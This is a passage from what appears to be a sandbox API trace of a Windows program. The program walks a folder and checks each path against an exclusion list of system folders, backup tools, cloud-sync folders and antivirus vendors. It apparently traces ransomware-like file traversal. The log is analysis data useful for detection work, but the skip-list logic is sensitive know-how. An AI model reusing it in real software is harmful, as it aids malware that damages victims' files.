cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.721] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.721] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*.*", 